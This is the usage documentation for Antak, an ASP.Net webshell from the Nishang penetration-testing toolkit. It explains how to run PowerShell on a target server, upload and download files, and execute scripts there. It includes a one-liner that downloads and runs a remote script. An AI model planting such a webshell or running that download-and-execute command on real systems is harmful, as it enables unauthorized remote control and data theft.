Antak is a webshell written in ASP.Net which utilizes PowerShell. Antak is a part of Nishang and updates can be found here: https://github.com/samratashok/nishang
Use this shell as a normal PowerShell console. Each command is executed in a new process; keep this in mind while using commands (like changing current directory or running session aware scripts).
Executing PowerShell scripts on the target:
Paste the script in command textbox and click 'Encode and Execute." A reasonably large script could be executed using this.
Use PowerShell one-liner (example below) to download & execute in the command box. IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]
Upload the script to the target and execute it.
Make the script a semi-colon separated one-liner.
Files can be uploaded and downloaded using the respective buttons:
Uploading a file: To upload a file, you must mention the actual path on the server (with write permissions) in the command text box. (OS temporary directories like C:\Windows\Temp may be writable.) Then, use the browse and upload buttons to upload file to that path.
Downloading a file: To download a file, enter the actual path on the server in the command text box. Then click on Download button.
A detailed blog post on Antak can be found here: http://www.labofapenetrationtester.com/2014/06/introducing-antak.html